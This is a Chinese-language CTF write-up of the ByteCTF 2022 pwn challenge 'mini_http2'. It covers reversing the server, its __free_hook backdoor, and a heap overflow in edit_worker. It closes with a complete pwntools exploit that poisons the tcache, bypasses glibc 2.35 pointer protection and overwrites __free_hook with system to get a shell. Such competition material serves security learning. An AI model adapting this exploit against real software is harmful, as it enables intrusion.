ByteCTF2022-PWN-复现
今年bytectf没来得及去打,但是题目质量是很高的,现在重新做一下当时的题
PWN
mini_http2
分析
libc的版本是2.35,但是main函数的开头将__free_hook
的地址存到了bss段上,有点东西。
交叉引用看了下,果然存在后门,如果将system
的地址写入__free_hook
中,就能执行system(s1);
继续逆。发现在注册功能中,s1
直接就是get传参传进来的username
的值。
登录功能也直接白给了libc上的地址,
比较要命的地方来了。post和get传参逆的时候其实都还不算累,但是审管理堆块的功能时,发现他对表达式的解析有一点诡异(可能只是我之前没见过,熟练的师傅都一眼顶针了)
sub_2EB9
函数中对postdata的解析极其复杂,以至于我逆了相当长一段时间。然后发现,这不就是json的格式吗(捂脸哭)
下面来看一下用得上的功能:
- add_worker:
使用的是strdup
来调用malloc
创建堆块,大小控制在0x110以内,数量最多16个,创建完成过后会白给堆上的指针。
- del_worker:
删除功能中不存在直接的uaf
- edit_worker:
问题主要就出在这个功能中,直接使用memcpy
将传入的数据拷贝到指定堆块中去,并没有和创建时的大小进行比较。所以是存在堆溢出的,但是由于判断长度使用的是strlen
,所以payload会被\x00
截断。
接下来就是构造堆溢出,劫持tcache bin的链表,整个过程并不复杂,但由于该题在处理协议的时候使用了大量的malloc
和free
,所以堆布局相对来说十分混乱,需要注意一下。且版本是2.35,在tcache bin和fastbin的单链表中都有宏去保护指针,需要处理一下。
(逆协议的过程就省去了,有不理解的地方的话可以参考exp来理解,或者直接联系我)
exp
from pwn import *
context.log_level = 'debug'
p = process('./mini_http2')
elf = ELF('./mini_http2')
libc = elf.libc
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
ru = lambda x : p.recvuntil(x)
def g(arg=''):
gdb.attach(p)
raw_input()
def get(url):
pay = b'\x00' + p16(len(url)+7)[::-1] + b'\x01\x05'
pay = pay.ljust(0x9, b'\x00')
p.send(pay)
pay = b'\x82\x86\x44' + p32(len(url))[::-1]
pay += url
p.send(pay)
def post(url, postdata):
pay = b'\x00' + p16(len(url)+7)[::-1] + b'\x01\x05'
pay = pay.ljust(0x9, b'\x00')
p.send(pay)
pay = b'\x83\x86\x44' + p32(len(url))[::-1]
pay += url
p.send(pay)
pay = b'\x00' + p16(len(postdata))[::-1]
pay = pay.ljust(0x9, b'\x00')
p.send(pay)
p.send(postdata)
def add_worker(name, desc):
pay = b'{"name": "' + name + b'", '
pay += b'"desc": "' + desc + b'"}'
post(b'/api/add_worker', pay)
def del_worker(idx):
pay = b'{"worker_idx": ' + idx + b' }'
post(b'/api/del_worker', pay)
def edit_worker(name, desc, idx):
pay = b'{"name": "' + name + b'", '
pay += b'"desc": "' + desc + b'",'
pay += b'"worker_idx": ' + idx + b' }'
post(b'/api/edit_worker', pay)
get(b'/register?username=/bin/sh&password=kotori')
get(b'/login?username=/bin/sh&password=kotori')
ru('\'gift\': "0x')
libcbase = int(ru('}')[:-2], 16) - 0xc4200
# print(hex(libcbase))
hook = libcbase + libc.symbols['__free_hook']
system = libcbase + libc.symbols['system']
add_worker(b'1'*0x80, b'2'*0x80) # 0
ru('name_addr": "0x')
heapbase = int(ru('"')[:-1], 16) - 0x800
# print(hex(heapbase))
add_worker(b'3'*0x80, b'4'*0x80) # 1
add_worker(b'5'*0x80, b'6'*0x80) # 2
del_worker(b'1')
del_worker(b'2')
add_worker(b'7'*0x80, b'8'*0x8) # 1
add_worker(b'9'*0x80, b'a'*0x8) # 2
add_worker(b'b'*0x80, b'c'*0x8) # 3
add_worker(b'd'*0x80, b'e'*0x8) # 4
del_worker(b'2')
del_worker(b'4')
pay = b'a'*0x90 + p64(((heapbase+0xa00)>>12)^(hook-0x78))[:6]
edit_worker(pay, b'kotori', b'3')
add_worker(b'9'*0x80, b'a'*0x8) # 2
pay = b'a'*0x78 + p64(system)[:6]
add_worker(pay, b'a'*0x8) # 4
get(b'/exit')
# g()
p.interactive()
(待续)